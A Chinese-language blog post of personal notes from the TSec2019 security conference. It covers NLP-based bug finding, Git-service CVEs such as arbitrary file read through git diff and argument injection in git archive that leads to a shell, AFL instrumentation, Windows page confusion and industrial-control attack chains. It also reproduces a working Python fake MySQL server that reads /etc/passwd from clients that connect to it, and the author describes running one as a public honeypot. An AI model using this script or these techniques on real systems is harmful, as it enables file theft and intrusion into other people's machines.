TSec2019 聆听笔记
参加了TSec2019的分享会,有一些思考和感悟,正好现在PPT也分享出来了,特地在此记下来。
从大会上可以看出学校和企业的主要不同,来自学校的分享以漏洞发现工具为主,如何通过特征来发现有漏洞的代码;来自企业人员的分享主要是实际的漏洞发现为主。二者都很有意思,也让我收获很大,其中的一些漏洞打算在接下来的一段时间里复现一下(最近挖的坑好像有点多了)。
文心雕“虫”—-利用自然语言理解技术发现内存破坏漏洞
作者开发了NLP-EYE一种工具,这是一个源码漏洞发现工具,用的是对函数名称的理解,用于解决当前的源码检测工具会漏报非标准库函数、无法识别间接跳转、第三方库函数、编译单元外函数定义、不同的内存管理方式的问题。目前的CPP检测工具:cppcheck,infer和CSA
识别并定位内存管理函数
这一工具分析函数名和参数,建立语料库,对函数名进行分词,比较,验证。如void *AcquireQuantumMemory(const size_t count,const size_t quantum)
和 void* malloc( size_t size );
,Acquire对应alloc,Memory对应m,count对应size。
主要分词难点在于缩写的使用、命名的风格和自然语言处理。解决是采用定制语料库的方式。wekipedia内容太复杂,customized corpus(太小了) stackoverflow:编程语言敏感,够大,比较好。分析返回值和参数,归一化为指针和数值两种类型
标记并跟踪内存的分配、释放、访问情况
采用clang 进行静态分析。
检测内存使用违规
是否存在可能的空指针解引用、Double free、UAF等漏洞
对于Git版本控制服务的通用攻击面探索
Git没有对横向的访问权限进行控制。针对Gitlay(Git gRPC service of GitLab)是git提供的服务。
这些是使用Ruby和Go,需要使用的AST生成器RuboCop(Ruby)和Guru(Co)
找到使用os/exec.Command的地方,看看能不能用
git-bundle
(CVE-2019- 6240),Git RPC executes git clone uploaded bundle file.
GitLab使用git-bundle解决项目的导入导出
这个漏洞可以实现水平方向上获取别人的代码
git-diff
(CVE 2019-9221)Read arbitrary file via git diff command
用于比较两个版本代码的不同
这个方法的使用为git diff sha1 sha2
,但是在实际的使用过程中,这两个参数可以不必是sha值,如/etc/passwd 和/etc/hosts,那么就能够得到这些文件里的数据了
git-lfs
(CVE-2018-20144 & CVE-2018-20499)Read arbitrary file and SSRF
跟踪大文件的插件。
攻击过程是这样的:developer 发送git clone 给Bitbucket,Bitbucket回git pack file;Develop问while is file <sha>
,Bitbucket回它在LFS store,然后Developer发GET .../<objectSHA>
给LFS store。
tail -n 20 lfs-objects/sha256
。。具体什么意思,不是很清楚,需要再看PPT
git- archive
(CVE 2019-12430) File overwritten to RCE via parameter injection
一个打包所有文件指令,存在命令注入,如果文件名是以–开头的,那么就会被认为是一个程序的参数而不是路径,这样存在了一个文件覆盖漏洞。用这个文件漏洞去覆盖authorize keys,就可以gets shell了。
为什么用tar:tar是一个打包协议,而不是压缩协议,所以能明文携带payload
作者点评: git 这种的工具的服务端或多或少会有服务器执行用户端命令的操作, 开发者可能缺少这方面安全意识(伪装git服务器的问题)
流敏感的模糊测试系统(待PPT补充)
AFL的插桩改进:
将基本块分为三类进行插桩:
Fmul 可搜索到的多前驱基本块
Fhash: 没搜索到的多前驱基本块
Fsingle:单前驱的基本块
Fmul 是选择合适的xyz使得多前驱的路径不同,插入时计算,保证路径不重复的路径插桩方式。
我提出的关于插桩的问题:这种插桩方式的内存占用率大概多少; 多入度的基本块能否找到这样的xyz。
100M程序内存占用256K
Comprehensive analysis of the mysql client attack chain
mysql允许服务器端读取客户端有读权限的任意文件。
TCTF 2018 Final h4x0rs.club pt.3 Dragon Sector && Cykor 的非预期
无论用户端发任何请求,只要服务器返回想要读取某文件,而且该文件可读,就会给它传这个文件。
(这种情况还可能发生在在线文档、云服务中)
因此可以尝试在公网布置一个蜜罐,得到尝试连接者的文件。ARF能将泄露变成getchell。
然后就去尝试搞了一个,还真可以。
附上网传的一个伪造服务器
#coding=utf-8
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()
Sorry It’s Not Your Page
感觉可以复现一下啊
windows 分段式基本可以忽略,主要看分页式,不同程序的虚拟地址一样,实际地址不同;
每个进程独占用户空间,但共享内核空间。内核空间采用写时复制技术,确保数据安全。
物理页面混淆漏洞?CVE-2019-0892
会话空间是内核空间的一部分,同一会话的进程,同样虚拟地址为同一物理地址
这个漏洞可以发生在分配之前,可以先占位,可能导致UAF
解决思路:
使用错误的页表进行虚拟地址转换会导致物理页面混淆类漏洞
操作系统应当提供机制来判断是否可以安全的使用虚拟地址
开发人员应当认识到这类漏洞的存从而做出相应的处理
工控系统安全分析
分析思路:
入侵上位机 -> 劫持编程软件dll -> 注入OT载荷 -> 破坏离心机
接入内网 -> 注入加载器 -> 注入OT载荷 -> 破坏物理系统